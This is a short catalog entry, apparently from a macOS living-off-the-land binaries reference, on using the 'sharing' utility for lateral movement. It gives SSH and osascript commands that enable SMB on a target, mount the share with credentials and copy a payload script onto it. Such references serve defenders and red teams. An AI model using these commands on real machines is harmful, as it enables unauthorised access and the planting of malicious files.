CatalogLOOBins

ORCHARD · Tool

sharing

1 techniquemacOSLOOBinsGPL-3.0

Create an SMB share on a target over SSH for lateral tool transfer

Lateral MovementmacOS

With SSH access to the target, the sharing utility can create an SMB share pointing to a directory on the target. Combined with the macOS smbd LaunchDaemon, the share becomes accessible over the network. The attacker can then mount the share using osascript and copy files directly into it, which appear immediately in the target's share directory. The -s 001 flag enables SMB access on the share.

# On target (via SSH): create share directory, start smbd, create the share
ssh user@<TARGET_IP> 'mkdir -p ~/share && sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smbd.plist && sudo sharing -a /Users/user/share -n share -s 001'

# On attacker: mount the share using osascript and transfer a file
osascript -e 'mount volume "smb://user:<PASSWORD>@<TARGET_IP>/share"'
cp payload.sh /Volumes/share/
Evidence
Upstream reference
Environment
Local host
Compatibility
Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
Native
Lateral Movement
Detection
No detections at time of publishing: No detections at time of publishing